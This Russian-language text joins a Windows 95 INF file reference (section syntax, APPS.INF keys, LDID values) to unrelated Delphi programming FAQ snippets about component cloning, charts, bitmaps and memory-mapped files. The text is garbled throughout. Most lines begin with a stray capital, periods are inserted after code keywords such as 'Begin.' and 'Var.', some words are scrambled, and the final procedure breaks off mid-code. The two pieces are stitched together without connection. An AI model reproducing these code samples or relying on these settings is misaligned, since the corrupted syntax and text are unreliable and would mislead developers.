Можно включить одно или несколько значений. Кроме того, в состав элемента.

Можно включать комментарии, отделяя их символом точки с запятой, например:

[section].

Keyname=value ;эта часть строки является комментарием.

Поскольку INF-файлы являются файлами формата ASCII, должен существовать.

Способ, с помощью которого они будут предоставлять реестру информацию в.

Двоичном формате. Структура INF определяет двоичный файл, который преобра-

Зует ASCII-текст в двоичный формат при чтении его реестром.

Типы информационных файлов:

Layout (Формат). Определяет информацию о диске и номере версии, а также.

Содержит список всех файлов с указанием диска, на котором они располагают-

Ся.

Selective Install (Избирательная инсталляция). Определяет части инстал-

Ляции, являющиеся необязательными компонентами, а также те ее части, кото-

Рые зависят от инсталляции других компонентов. Например, Microsoft Fax тре-

Бует предварительной загрузки Microsoft Exchange. Вы имеете возможность уп-

Равлять инсталляцией компонент этих типов.

Application/Installation, APPS.INF (Приложения/Инсталляция). Обнаружива-

Ет используемые вами приложения MS-DOS и устанавливает для них параметры.

Окружения. Эти lNF-файлы содержат настройки и параметры для многих приложе-

Ний DOS. Как правило, это самый большой информационный файл в вашей систе-

Ме. В его состав входят многие виды настройки памяти, настройки расширенной.

Памяти (XMS), а также другие параметры, которые в Windows З.х содержались в.

Настройках PIF.

Device Installation and Configuration (Инсталляция и конфигуриро вание.

Устройств). Это наиболее общий из всех информационных файлов на котором мы.

До сих пор концентрировали все внимание. Эти файлы описывают параметры на-

Стройки для конкретных физических устройств. Если вы имеете драйвер устрой-

Ства ранних версий, в INF-файле будет содержаться информация об этом уст-

Ройстве. Устройства Plug and Play, с другой стороны, помещают информацию о.

Себе прямо в реестр.

Общая организация lNF-файла.

Раздел каждого устройства в INF-файлс состоит из следующих разделов:

Раздел [Version].

Идентифицирует INF и класс поддерживаемого устройства.

Ниже перечислен список некоторых устройств, которые вы можете включить:

Adapter keyboard NetService.

CDROM MCADevices NetTrans (сетевые транспорты).

Diskdrive media nodriver.

Dispaly modem PCMCIA.

EISADevices monitor ports.

Fdc mouse printer.

Hdc MTD SCSIAdapter.

Раздел [Manufacturer].

Идентифицирует производителя устройства (например, Link, Micro, и т.п.) и.

Соответствующих продуктов. Каждый INF-файл должен иметь по крайней мере.

Один раздел [ Manufacturer].

Раздел [Install].

Содержит информацию о физических атрибутах устройства и его драйверах.

Раздел [Classlnstall].

Этот раздел необязателен. Он идентифицирует новый класс для указанного уст-

Ройства в INF-фаиле.

Раздел [String].

Идентифицирует локализованные строки в INF-фаиле.

Раздел [Miscellaneous].

Содержит информацию о том, как устройства управляются пользовательским ин-

Терфейсом W95.

Элементы APPS.INF.

В разделе [appname] файла APPS.INF вы найдете элементы, перечисленные в.

Табл. Используя эти элементы вы сможете быстрее перенести в W95 настройки.

PIF из ваших старых инсталляций Windows.

Многие из приложений, перечисленных в файле APPS.INF, представляют собой.

Старые игры для MS-DOS. Если вы сталкиваетесь с тем, что игра не работает в.

Среде W95, просмотрите этот файл. Возможно, вам удастся модифицировать ка-

Кой-либо из его элементов таким образом, чтобы игра запустилась или стала.

Работать лучше. Если вы вносите изменения в файл APPS.INF, вам потребуется.

Перезагрузить W95, чтобы внесенные изменения попали в реестр. Помимо редак-

Тирования файла APPS.INF, некоторые из параметров вы можете изменить, от-

Крыв страницу свойств конкретного приложения.

Ниже приведен пример раздела [аррnаmе]:

[PRODIGY.EXE].

LowMem=440.

EMSMen=None.

XMSMem=None.

Enable=lml.

Disable=win,hma.

В этой части файла APPS.INF раздел [appname] замещается именем исполняемого.

Модуля, например, PRODIGY.EXE, PARADOX.EXE и т.п.

Имя элемента реестра Описание ключа Значение.

ALLOWSSAVER Позволяет появляться заставке sav.

(работает в REALMODE) при работающих программах DOS.

Настройка по умолчанию.

ALTENTER Позволяет использовать клавиатурную аеn.

Комбинацию + для переклю-

Чения между полноэкранным и оконным.

Режимами. Настройка по умолчанию.

ALTESC Позволяет использовать выход с помощью Aes.

Клавиатурной комбинации -.

Настройка по умолчанию.

ALTPRTSCRN Позволяет выполнять моментальный снимок Psc.

Экрана с помощью клавиатурной комбинации.

+. Настройка по умолчанию.

ALTSPACE Позволяет использовать клавиатурную aps.

Комбинацию + для отображения.

Системного меню. Настройка по умолчанию.

ALTTAB Позволяет использовать клавиатурную ком- Ata.

Бинацию для переключения между приложе-

Ниями. Настройка по умолчанию.

BACKGROUND Дает приложению указание работать в win.

Фоновом режиме. Настройка по умолчанию.

CDROM Позволяет использовать драйвер MSCDEX. cdr.

(работает в REALMODE) Настройка по умолчанию.

CLOSEONEXIT Закрывает при выходе окно DOS. He явля- cwe.

Ется настройкой по умолчанию.

CRTLESC Позволяет закрывать приложение нажатием ces.

Клавиатурной комбинации +.

Настройка по умолчанию.

DETECTIDLE Задает чувствительность в неактивном сос- dit.

Тоянии. Настройка по умолчанию.

DISKLOCK Позволяет осуществлять прямой доступ к dsk.

(работает в REALMODE) диску.

EMS Активизирует EMS386 для программ DOS. ems.

(работает в REALMODE) Настройка по умолчанию.

EMSLOCKED Указывает на блокировку памяти EMS eml.

EMULATEROM Указывает на необходимость использо- emt.

Вания быстрой эмуляции ROM. Настройка.

По умолчанию.

EXCLUSIVE Работает в эксклюзивном режиме. Этот exc.

Параметр игнорируется.

FASTPASTE Активизирует быструю вставку из прило- aft.

Жения. Настройка по умолчанию.

GLOBALMEM Активизирует глобальную защиту памяти gmp.

LOWLOCKED Указывает на то, что нижняя память lml.

(до 640 Кб) заблокирована. Этот параметр.

Игнорируется.

MOUSE Активизирует функции мыши. Настройка по mse.

(работает в REALMODE) умолчанию.

NETWORK Разрешает программе DOS получать доступ net.

(работает в REALMODE) к сетевым дискам и принтерам. Настройка.

По умолчанию.

PRIVATECFG Позволяет программе DOS использовать пер- cfg.

(работает в REALMODE) сональный файл CONFIG.SYS. He является.

Настройкой по умолчанию.

REALMODE Запускает программу в реальном режиме DOS. dos.

He является настройкой по умолчанию.

RETAINVRAM Дает указание сохранить видеопамять. rvm.

Этот параметр игнорируется.

UNIQUESETTINGS Запускает программы DOS в отдельных DOS- uus.

Сеансах. Не является настройкой по.

Умолчаний.

USEHMA Дает указание использовать НМА (верхние hma.

Адреса памяти). Значение по умолчанию.

VESA Дает программам DOS получать доступ к vsa.

(работает в REALMODE) продвинутым графическим возможностям.

WINDOWED Запускает приложение в окне, а не в win.

Полноэкранном режиме. Настройка по.

Умолчанию.

WINLIE Не позволяет программам DOS обнаруживать lie.

W95. Не яаляется параметром по умолчанию.

XMSLOCKED Дает указание блокировать память XMS. Xml.

В файле APPS.INF доступны, но не реализованы следующие параметры:

DISPLAYTBAR (dtb) Отображает панель инструментов.

EXCLMOUSE (exm) Разрешает режим монопольного использования мыши.

QUICKEDIT (qme) Активизирует для мыши режим быстрого редактирования.

WARNIFACTIVE (wia). Позволяет подавать предупреждения, если приложение.

DOS еще активно.

Справочник по разделам.

В нижеприведенных таблицах описаны все ключевые слова и значения, ассоци-

Ированные с конкретными разделами. Синтаксис раздела [Version] приведен ни-

Же. Квадратные скобки используются для обозначения начала нового раздела.

Для того чтобы настройки INF были понятны W95 и реестру, квадратные скобки.

Обязательно должны присутствовать.

[Version].

Signature=$CHICAGO$

Class=name_of_class.

Provider=%File_creator%

LayoutFile=filename.inf.

Ключевое слово Значение Описание.

Signature $Chicago$ Задает операционную систему для INF-файла.

На момент написания большинства INF-файлов.

Кодовое название Windows 95 было следующим:

Chicago.

Class name_of_class Указывает класс, который будет определен в ре-

Естре. Список общих классов устройств, которые.

Вы можете ввести сюда, приведен в данном при-

Ложении ранее.

LayoutFile filename.inf Эта строка определяет имя INF-файла, содержа-

Щего имена исходного диска и файлов, которые.

Должны быть включены для инсталляции этого.

Устройства. Если его не определить, то по умол-

Чанию файл имеет имя LAYOUT.INF. Если вы не.

Включите эти данные в раздел Version, то должны.

Будете включить в файл APPS.INF разделы.

SourceDiskName и SourceDiskFiles.

Синтаксис раздела [Manufacturer] приведен ниже.

[Manufacturer].

"manufacturer" %string_value%=manufacturer_section.

Информация раздела [Manufacturer].

Ключевое слово Описание.

"manufacturer" Имя производителя этого устройства, заключенное в.

Кавычки. Сюда можно включить любую строку. Это клю-

Чевое слозо является необязательным.

%string_value% Указывает имя строки, включенной в раздел Stings.

INF-файла. Строки должны быть заключены в символы.

Процента (%).

Manufacturer_section Указывает на раздел Manufacturer Name в INF-файле.

Раздел [Manufacturer Name] включает описания устройства для указанного уст-

Ройства Ключевые слова, используемые в этом разделе, описаны в таблице.

Синтаксис этого раздела выглядит следующим образом:

[name_of_manufacturer].

Description of dеviсе=install_section,ID_of_device[compatible_device_IDs,...].

Информация раздела [Manufacturer Name].

Ключевое слово Описание.

Description_of_device Описание инсталлируемого устройства.

Install_section Указывает имя раздела Install для этого устройства.

ID_of_device Идентификатор (ID) инсталлируемого устройства.

[compatible_device_IDs,...] Содержит Ссылки на устройства, совместимые с.

Данным. В этот список можно включить несколько.

Устройств, разделив их запятыми.

Раздел [File List] можно использовать для указания файлов, которые вы хоти-

Те скопировать, переименовать или удалить. В зависимости от элемента разде-

Ла [Install] вы можете использовать три следующих синтаксических параметра:

[file_list section].

New_filename, old_filename.

Эта конструкция используется для элементов RenFiles. Допускается вклююние.

Любого количества элементов new_filename, old_filename.

Для элементов DelFiles используется следующий синтаксис:

[file_list section].

Filename.

Параметр filename обозначает имя файла, который вы хотите удалить.

Для элемента CopyFiles используется следующий синтаксис. Параметры.

Source_filename и temporary_filename в этой конструкции являются необязате-

Льными.

[file_list section].

Destination_filename,source_filename,temporary_filename.

Ниже приведен образец синтаксиса раздела [Install]. Этот раздел включает.

Дополнительные разделы INF-файла, которые содержат описания устройства. В.

Правой части выражения, после знака равенства, можно указать несколько зна-

Чений, разделенных запятыми.

[name_of_install_section].

LogConfig=section_name.

Copyfiles=file_list_section.

Renfiles=file_list_section.

DelFiles=file_list_section.

UpdateInis=UpdateIni_section_name.

UpdateIniFields=UpdateIniFields_section_name.

AddReg=AddRegitry_section.

DelReg=DelRegitry_section.

Ini2Reg=IniToRegistry_section.

UpdateCfgSys=UpdateConfig_section.

UpdateAutoBat=UpdateAutoexec_section.

Reboot или Restart.

Информация раздела [Install].

Ключевое слово Значение Описание.

[name_of_install_section] Содержит имя устройства, соответ-

Ствующего информации, приведен-

Ной в этом разделе. В разделе.

ManufacturerName INF-файла дол-

Жна присутствовать ссылка на.

Этот раздел.

LоgСоnfig section_name Содержит информацию о разделах.

Логической конфигурации уст-

Ройства. Значения section_name.

Указывают на разделы INF-файла.

В которых содержится информа-

Ция о данном устройстве.

CopyFiles file_list_section Содержит информацию, необходимую.

Для копирования указанного файла.

Или файлов в каталог, указанный.

В разделе File_List. Вы можете.

Дать системе указание скопировать.

Отдельный файл. Для этого перед.

Именем файла необходимо включить.

Символ @. При этом файл будет.

Скопирован в каталог.

DefaultDestDir, определенный в.

Разделе DestinationDir INF-файла.

RenFiles fiie_list_section Позволяет переименовать указан-

Ный файл. Представляет собой.

Указатель на раздел File_List.

INF-файла.

DelFiles file_list_section Позволяет удалить указанный.

Файл. Представляет собой указа-

Тель на раздел FileList INF-файла.

UpdateInis UpdateIni_section_name Позволяет указать Значение INI-

Файла, которое вы хотите изме-

Нить через INF-файл. Представля-

Ет собой указатель на раздел.

Update INI.

UpdatelniFields UpdateIniFields_section_name Позволяет изменять, замещать.

Или удалять отдельные элементы.

Значений INI-файла (в отличие от.

Предыдущего параметра, который.

Изменял все значение целиком).

Этот параметр представляет со-

Бой указатель на раздел Update.

IniFields.

AddReg AddRegistry_section Позволяет указать подключ или.

Значение, которые требуется до-

Бавить в реестр. Представляет.

Собой указатель на раздел Add.

Registry.

DelReg Del_Registry_section Позволяет указать подключ или.

Значение, которые требуется уда-

Лить из реестра. Представляет.

Собой указатель на раздел Delete.

Registry.

Ini2Reg IniToRegistry_section Перемещает в реестр строки и.

Разделы из INI-файла. Представ-

Ляет собой указатель на раздел.

Ini to Registry.

UpdateCfgSys UpdateConfig_section Содержит указатель на раздел.

Update Config. в этом разделе.

Находятся команды, которые.

Должны быть добавлены, удалены.

Или переименованы в файле.

CONFIG.SYS.

UpdateAutoBat UpdateAutoexec_section Содержит указатель на раздел.

Update AutoExec. В этом разделе.

Находятся команды, которые мо-

Дифицируют файл AUTOEXEC.BAT.

Reboot или Restart Команды, вызывающие перезапуск.

Системы или перезагрузку ком-

Пьютера после завершения про-

Граммы установки.

Ниже приведен пример синтаксиса раздела [Logical Configuration]. Раздел.

[LogConfig] необходимо указать в разделе [Install]. Этот раздел содержит.

Информацию о конфигурации системных ресурсов, включая IRQ, порты ввода/вы-

Вода, каналы DMA и т. д. Для каждого включаемого элемента программа Setup.

Создает запись логической конфигурации в двоичном формате и включает эту.

Информацию в реестр в раздел driver. INF-файлы могут содержать несколько.

(или ни одного) разделов [Logical Configuration]. Ключевые слова и значения.

Этого раздела описаны в таблице.

[LogConfig Section name].

ConfigPriority=value_of_priority.

MemConfig=menory_range_settings.

I/OConfig=ioport_settings.

IRQConfig=irq_sectings.

DMAConfig=dma_settings.

Ключевое слово Значение Описание.

ConfigPriority value_of_priority Содержит значение приоритета.

Конфигурации для данного устрой-

Ства.

MemConfig memory_range_settings Указывает диапазон памяти для.

Данного устройства.

I/OConfig ioport_settings Позволяет указать для устройства.

Конфигурацию портов ввода/вывода.

IRQConfig irq_settings Содержит СПИСОК допустимых IRQ.

Для данного устройства. Если.

Устройство не использует IRQ,

Не следует включать эту.

Строку в INF-файл.

DMAConfig dma_settings Указывает допустимые значения.

DMA для данного устройства.

Для параметров настройки, перечисленных в таблице, можно указывать не один,

А несколько ресурсов. Однако, в процессе инсталляции будет использован то-

Лько один из ресурсов, приведенных в списке. Чтобы указать несколько ресур-

Сов для одного устройства, вам потребуется создать соответствующее число.

Записей для каждого из ресурсов.

Ниже приведен пример синтаксиса раздела [Update AutoExec]. Имя раздела.

[UpdateAutoBat] должно быть указано в разделе [Install]. Этот раздел соде-

Ржит команды, манипулирующие строками в файле AUTOEXEC.BAT. Ключевые слова.

И значения этого раздела приведены в таблице.

[Update_autobat_section].

CmdDelete=command.

CmdAdd=command.

UnSet=environmentvariablename.

PreFixPath=%ldid%

RemOldPath=%ldid%

TmpDir=%ldid%

Ключевое слово Значение Описание.

CmdDelete command Указывает команду, которая должна.

Быть удалена из файла AUTOEXEC.BAT.

Эта строка обрабатывается перед.

Строкой CmdAdd.

CmdAdd command Указывает команду, которую требуется.

Добавить в файл AUTOEXEC.BAT.

UnSet environmentvariablename Указывает переменную окружения, кото-

Рую вы хотите удалить из файла.

AUTOEXEC.BAT.

PreFixPath %ldid% Позволяет включить предопределенную.

Фиксированную переменную path в форме.

Логического идентификатора каталога.

(logical directory identificator, LDID).

RemOldPath %ldid% Позволяет указать путь, который должен.

Быть удален из файла AUTOEXEC.BAT.

TmpDir %ldid% Позволяет указать временный каталог на.

Время установки.

Ниже приведен пример синтаксиса раздела [Update Config]. Имя раздела.

[Update_config_section] должно быть задано в разделе [Install]. Этот раздел.

Содержит команды манипуляции со строками в файле CONFIG.SYS. Ключевые слова.

И значения этого раздела описаны в таблице.

[Update_config_section].

DevRename=current_name,new_name.

DevDelete=driver_name.

DevAddDev=driver_name,configkeyword.

Stacks=dos_stack_values.

Buffers=dos_buffer_values.

Files=dos_buffer_values.

LastDrive=dos_lastdrive_value.

Ключевое слово Значение Описание.

DevRename current_name,new_name Позволяет переименовать драйверы.

Устройств, вызываемые из файла.

CONFIG.SYS. Раздел может содержать.

Несколько строк DevRename.

Записи DevRename обрабатываются.

Первыми, прежде, чем начнется.

Обработка каких-либо других.

Записей раздела.

DevDelete driver_name Позволяет указать драйверы.

Устройств, которые должны быть.

Удалены из файла CONFIG.SYS.

Раздел может содержать несколько.

Записей DevDelete.

DevAddDev driver_name,configkeyword Позволяет указать новый драйвер,

Который должен быть добавлен в.

Файл CONFIG.SYS. Раздел может.

Содержать несколько записей.

DevAddDev.

Stacks dos_stack_values Указывает значение Stacks= в.

Файле CONFIG.SYS.

Buffers dos_buffer_values Указывает значение Buffers= в.

Файле CONFIG.SYS.

Files dos_file_values Указывает значение Files= в.

Файле CONFIG.SYS.

LastDrive dos_lastdrive_value Указывает значение lastdrive=

В файле CONFIG.SYS.

Ниже приведен пример синтаксиса раздела [Update INI]. Раздел [Update INI].

Необходимо указать в разделе [Install] записью UpdateINIs. Этот.

Раздел добавляет, удаляет или замещает записи в указанном INI-фаЙле.

Ключевые слова и значения для этого раздела описаны в таблице.

[Update_ini_section].

Ini-file,ini-section,original_entry,new_entry, options.

Значение Описание.

Options Необязательные флаги операции, которые могут принимать.

Одно из следующих значений.

0 Значение по умолчанию. Ищет ключ (имя записи).

Original_entry, игнорируя его значение. Если ключ при-

Сутствует, соответствующая запись заменяется на.

New_entry. Если original_entry равна NULL, new_entry.

Добавляется безусловно. Если new_entry равна NULL,

Original_entry удаляется.

1 Ищет запись original_entry по ключу и значению. Обнов-

Ление выполняется только в том случае, когда совпадают и.

Ключ, и значение записи original_entry.

2 Ищет запись, ключ которой совпадает с указанным в.

Original entry. Если запись уже существует, она не за-

Мещается значением, указанным вами в new_entry.

3 Ищет запись, ключ и значение которой совпадают с.

Указанными в original_entry. Если такая запись существует,

Она замещается new_entry.

Ниже приведена синтаксическая конструкция раздела [Update IniFields].

Имя раздела [UpdatelniFields] должно быть указано элементом.

[UpdatelniFieldsl в разделе [Install]. Утверждения этого замещают,

Добавляют или удаляют поля в указанной записи INI-файла. В отличие от.

Раздела [Update INI], команды из данного раздела работают с фрагмента-

Ми записей, а не с записями в целом.

[update_inifields_section].

Ini-file,ini-section,profile_name,old_field,new_field.

Если в строке INI-файла для указанной записи присутствовал комментарий,

Он удаляется. Модификаторы old_field и new_field являются необяза-

Тельными.

Раздел [Add Registry] позволяет добавлять в реестр ключи и значения.

Кроме того, существует необязательная возможность установить фактиче-

Ское значение. Имя раздела [add_registry_section] должно быть задано.

Элементом AddReg раздела [Install]. Синтаксис раздела выглядит следую-

Щим образом:

[add_registry_section].

Reg_root_string.

В этот раздел вы можете включить подключи, имена значений и.

(необязательно) сами значения.

Раздел [Delete Registry] используется для удаления из реестра подклю-

Чен и имен значений. Синтаксис этого раздела выглядит следующим обра-

Зом:

[del_registry_section].

Reg_root_string,subkey.

Имя этого раздела должно быть указано элементом DelReg в разделе.

[Install]. Каждый элемент, включенный в этот раздел, удалит из реестра.

Подключ или значение.

Раздел [Ini to Registry] позволяет перемещать в реестр строки и разде-

Лы из INI-файла. Эта операция или создает в реестре новый элемент, или.

Подключ или значение.

Имя раздела [ini_to_registry section] должно быть указано элементом.

Lni2Reg в разделе [Install].

Раздел [DestinationDirsI позволяет определить каталог назначения для.

Раздела [File_List]. Ссылка на имя раздела [DestinationDirs] должна.

Присутствовать в одном из следующих трех элементов раздела [Install]:

DelFiles, CopyFiles или RenFiles. Синтаксис раздела приведен ниже.

Более подробную информацию можно найти в таблице.

[DestinationDirs].

File_list=ldid,subdirectory.

DefaultDestDir=ldid,subdirectory.

Ключевое слово Значение Описание.

File_list ldid,subdirectory Указывает имя раздела FileList.

Subdirectory Указывает каталог, находящийся.

В каталоге ldid. Это значение.

Необязательно.

Ldid Указывает логический идентификатор.

Диска. Список допустимых значений.

Ldid приведен далее.

DefaulDestDir Позволяет указать каталог-приемник.

По умолчанию для всех неупомянутых.

Разделов File_List. Этот параметр.

Не является обязательным. По умол-

Чанию W95 использует каталог.

LDID_WIN.

Раздел [SourceDisksFilesj используется для указания исходных файлов,

Используемых в процессе инсталляции. Кроме того, с помощью этого разде-

Ла можно указать исходные диски, содержащие эти файлы. Синтаксис раз-

Дела очень прост:

[SourceDisksFiles].

Name_of_source_disk=disk_number.

Элемент disk_number определяется в разделе [SourceDisksNames], кото-

Рый использует следующий синтаксис:

[SourceDisksNames].

Disk_ordinal=description_of_disk,label,serial_number.

Раздел [ClassInstall] устанавливает новый класс устройства в разделе.

Реестра [Class]. Синтаксис раздела [ClassInstall] приведен ниже.

Подробную информацию о значениях и элементах, которые используются в.

Этом разделе, можно найти в таблице выше.

[ClassInstall].

CopyFiles=fils_list_section.

RenFiles=fils_list_section.

DelFiles=fils_list_section.

UpdateInis=UpdateIni_section_name.

UpdateIniFields=UpdateIniFields_section_name.

AddReg=AddRegistry_section.

DelReg=DelRegistry_section.

Наконец, последним разделом INF-фаила является раздел [Strings]. Этот.

Раздел определяет один или несколько строковых ключей. Синтаксис этого.

Раздела приведен ниже.

[Strings].

String_key="valve".

Ключевое слово string_key обозначает строковый ключ, формирующийся.

Из буквенно-цифровых символов, например, MfgName. Хотя раздел.

[Strings] обычно является последним в INF-файле, строковые ключи.

Можно использовать везде, где допустимо употребление строк.

Программа Setup подставляет вместо строкового ключа строку, заданную.

Элементом "value" и в дальнейшем использует именно ее, например:

MSFT="Microsoft".

Встпетив строку MSFT. поогоамма Setup интерпретирует ее как Microsoft.

Значения LDID.

В таблице перечислены допустимые значения LDID (logical disk identifier),

Которые вы можете использовать в INF-файлах.

ID Обозначает.

00 Пустой LDID; используется для создания нового LDID.

01 Исходное устройство:\путь.

02 Временный каталог Setup; используется только в процессе.

Установки W95.

03 Каталог Uninstall.

04 Каталог Backup.

10 Каталог Windows.

11 Каталог SYSTEM.

12 Каталог lOsubsys.

13 Каталог COMMAND.

14 Каталог Control Panel.

15 Каталог Printers.

16 Каталог Workgroup.

17 Каталог INF.

18 Каталог Help.

19 Каталог Administration.

20 Каталог Fonts.

21 Каталог Viewers.

22 Каталог VMM32.

23 Каталог Color.

25 Каталог Shared.

26 Каталог Winboot.

27 Машинно-зависимый каталог.

28 Каталог Winboot Host.

30 Корневой каталог загрузочного устройства.

31 Корневой каталог хост-диска виртуального загрузочного устройства.

32 Каталог с прежней версией Windows (если есть).

33 Каталог с прежней версией MS-DOS (если есть)DB.

©Drkb::04540.

Как создать копию произвольного компонента?

Code: { Здесь процедура CreateClone, которая креатит компоненту ОЧЕНЬ ПОХОЖУЮ на. Входную. С такими же значениями свойств. Присваивается все, кроме методов. } Function CreateClone(Src: TComponent): TComponent; Var. F: TStream; Begin. F := nil; Try. F := TMemoryStream.Create; F.WriteComponent(Src); RegisterClass(TComponentClass(Src.ClassType)); F.Position := 0; Result := F.ReadComponent(nil); Finally. F.Free; End; End;

Как использовать ChartFX?

Code: With ChartFX do begin. Visible := false; { Устанавливаем режим ввода значений }. { 1 - количество серий (в нашем случае 1), 3 - количество значений }. OpenData [COD_VALUES] := MakeLong (1,3); { Номер текущей серии }. ThisSerie := 0; { Value [i] - значение с индексом i }. { Legend [i] - комментарий к этому значению }. Value [0] := a; Legend [0] := 'Значение переменной A'; Value [1] := b; Legend [1] := 'Значение переменной B'; Value [2] := c; Legend [2] := 'Значение переменной C'; { Закрываем режим }. CloseData [COD_VALUES] := 0; { Ширина поля с комментариями на экране (в пикселах) }. LegendWidth := 150; Visible := true; End; End;

©Drkb::01321.

Необходимо, чтобы дочерняя форма не активизировала родительское окно.

Сделайте родительским окном рабочий стол.

Code: Procedure TForm2.CreateParams(VAR Params: TCreateParams); Begin. Inherited CreateParams(Params); Params.WndParent := GetDesktopWindow; End;

Хелп с окошечком для поиска раздела.

Code: Procedure TForm1.HelpSearchFor; Var. S : String; Begin. S := ''; Application.HelpFile := 'C:\MYAPPPATH\MYHELP.HLP'; Application.HelpCommand(HELP_PARTIALKEY, LongInt(@S)); End;

Как создать disable битмап из обычного (emboss etc)?

CreateMappedBitmap() :-).

Один из параметров указатель на COLORMAP, в нем для 16 основных цветов делаешь.

Перекодировку, цвета подберешь сам из принципа:

Все самые яркие -> в GetSysColor( COLOR_3DLIGHT );

Самые темные -> GetSysColor( COLOR_3DSHADOW );

Нейтральные, котрые будут прозрачные -> GetSysColor( COLOR_3DFACE );

Serge Zakharchuk.

(2:5060/32).

©Drkb::03883.

Code: Procedure Tform1.aaa(bmpFrom,bmpTo:Tbitmap); Var. TmpImage,Monobmp:TBitmap; IRect:TRect; Begin. MonoBmp := TBitmap.Create; TmpImage:=Tbitmap.Create; TmpImage.Width := bmpFrom.Width; TmpImage.Height := bmpFrom.Height; IRect := Rect(0, 0, bmpFrom.Width, bmpFrom.Height); TmpImage.Canvas.Brush.Color := clBtnFace; Try. With MonoBmp do. Begin. Assign(bmpFrom); Canvas.Brush.Color := clBlack; If Monochrome then. Begin. Canvas.Font.Color := clWhite; Monochrome := False; Canvas.Brush.Color := clWhite; End; Monochrome := True; End; With TmpImage.Canvas do. Begin. Brush.Color := clBtnFace; FillRect(IRect); Brush.Color := clBlack; Font.Color := clWhite; CopyMode := MergePaint; Draw(IRect.Left + 1, IRect.Top + 1, MonoBmp); CopyMode := SrcAnd; Draw(IRect.Left, IRect.Top, MonoBmp); Brush.Color := clBtnShadow; Font.Color := clBlack; CopyMode := SrcPaint; Draw(IRect.Left, IRect.Top, MonoBmp); CopyMode := SrcCopy; BmpTo.assign(TmpImage); TmpImage.free; End; Finally. MonoBmp.Free; End; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. Aaa(image1.picture.bitmap,image2.picture.bitmap); Image2.invalidate; End;

Как быстро нарисовать тень в заданном регионе?

Code: Procedure TForm2.DrawShadows(WDepth, HDepth : Integer); Var. Dst, RgnBox : TRect; HOldDC : HDC; OffScreen : TBitmap; Pattern : TBitmap; Bits : array[0..7] of WORD; Begin. Bits[0]:=$0055; Bits[1]:=$00aa; Bits[2]:=$0055; Bits[3]:=$00aa; Bits[4]:=$0055; Bits[5]:=$00aa; Bits[6]:=$0055; Bits[7]:=$00aa; HOldDC:=Canvas.Handle; Canvas.Handle:=GetWindowDC(Form1.Handle); OffsetRgn(ShadeRgn, WDepth, HDepth); GetRgnBox(ShadeRgn, RgnBox); Pattern:=TBitmap.Create; Pattern.ReleaseHandle; Pattern.Handle:=CreateBitmap(8, 8, 1, 1, @(Bits[0])); Canvas.Brush.Bitmap:=Pattern; OffScreen:=TBitmap.Create; OffScreen.Width:=RgnBox.Right-RgnBox.Left; OffScreen.Height:=RgnBox.Bottom-RgnBox.Top; Dst:=Rect(0, 0, OffScreen.Width, OffScreen.Height); OffsetRgn(ShadeRgn, 0, -RgnBox.Top); FillRgn(OffScreen.Canvas.Handle, ShadeRgn, Canvas.Brush.Handle); OffsetRgn(ShadeRgn, 0, RgnBox.Top); // BitBlt работает быстрее CopyRect. BitBlt(OffScreen.Canvas.Handle, 0, 0, OffScreen.Width, OffScreen.Height, Canvas.Handle, RgnBox.Left, RgnBox.Top, SRCAND); Canvas.Brush.Color:=clBlack; FillRgn(Canvas.Handle, ShadeRgn, Canvas.Brush.Handle); BitBlt(Canvas.Handle, RgnBox.Left, RgnBox.Top, OffScreen.Width, OffScreen.Height, OffScreen.Canvas.Handle, 0, 0, SRCPAINT); OffScreen.Free; Pattern.Free; OffsetRgn(ShadeRgn, -WDepth, -HDepth); ReleaseDC(Form1.Handle, Canvas.Handle); Canvas.Handle:=hOldDC; End;

Как рисовать на компоненте, если свойство Canvas недоступно?

У всех компонентов, порожденных от TCustomControl, имеется свойство Canvas типа TCanvas.

Если свойство Canvas недоступно, Вы можете достучаться до него созданием потомка и переносом этого свойства в раздел Public.

Code: { Example. We recommend You to create this component through Component Wizard. In Delphi 1 it can be found as 'File|New Component...', and can be found. As 'Component|New Component...' in Delphi 2 or above. }. Type. TcPanel = class(TPanel). Public. Property Canvas; End;

Работа с изображением в памяти.

Вот кусок одного моего класса, в котором есть две интересные вещицы -

Проецирование файлов в память и работа с битмэпом в памяти через указатель.

Code: Type. TarrRGBTriple=array[byte] of TRGBTriple; ParrRGBTriple=^TarrRGBTriple; {организует битмэп размером SX,SY;true_color}. Procedure TMBitmap.Allocate(SX,SY:integer); Var DC:HDC; Begin. If BM<>0 then DeleteObject(BM); {удаляем старый битмэп, если был}. BM:=0; PB:=nil; Fillchar(BI,sizeof(BI),0); With BI.bmiHeader do {заполняем структуру с параметрами битмэпа}. Begin. BiSize:=sizeof(BI.bmiHeader); BiWidth:=SX; biHeight:=SY; BiPlanes:=1; biBitCount:=24; BiCompression:=BI_RGB; BiSizeImage:=0; BiXPelsPerMeter:=0; biYPelsPerMeter:=0; BiClrUsed:=0; biClrImportant:=0; FLineSize:=(biWidth+1)*3 and (-1 shl 2); {размер строки(кратна 4 байтам)}. If (biWidth or biHeight)<>0 then. Begin. DC:=CreateDC('DISPLAY',nil,nil,nil); {замечательная функция (см.HELP), возвращает HBITMAP, позволяет сразу разместить выделяемый битмэп в спроецированном файле, Что позволяет ускорять работу и экономить память при генерировании большого битмэпа}. BM:=CreateDIBSection(DC,BI, DIB_RGB_COLORS, pointer(PB), nil, 0); DeleteDC(DC); {в PB получаем указатель на битмэп-----^^}. If BM=0 then Error('error creating DIB'); End; End; End; {эта процедура загружает из файла true-соlоr'ный битмэп}. Procedure TMBitmap.LoadFromFile(const FileName:string); Var HF:integer; {file handle}. HM:THandle; {file-mapping handle}. PF:pchar; {pointer to file view in memory}. I,j:integer; Ofs:integer; Begin. {открываем файл}. HF:=FileOpen(FileName,fmOpenRead or fmShareDenyWrite); If HF<0 then Error('open file '''+FileName+''''); Try. {создаем объект-проецируемый файл}. HM:=CreateFileMapping(HF,nil,PAGE_READONLY,0,0,nil); If HM=0 then Error('cannot create file mapping'); Try. {собственно проецируем объект в адресное }. PF:=MapViewOfFile(HM,FILE_MAP_READ,0,0,0); {получаем указатель на область памяти, в которую спроецирован файл}. If PF=nil then Error('cannot create map view of file'); Try. {работаем с файлом как с областью памяти через указатель PF}. If PBitmapFileHeader(PF)^.bfType<>$4D42 then Error('file format'); Ofs:=PBitmapFileHeader(PF)^.bfOffBits; With PBitmapInfo(PF+sizeof(TBitmapFileHeader))^.bmiHeader do. Begin. If (biSize<>40) or (biPlanes<>1) then Error('file format'); If (biCompression<>BI_RGB) or. (biBitCount<>24) then Error('only true-color BMP supported'); {выделяем память под битмэп}. 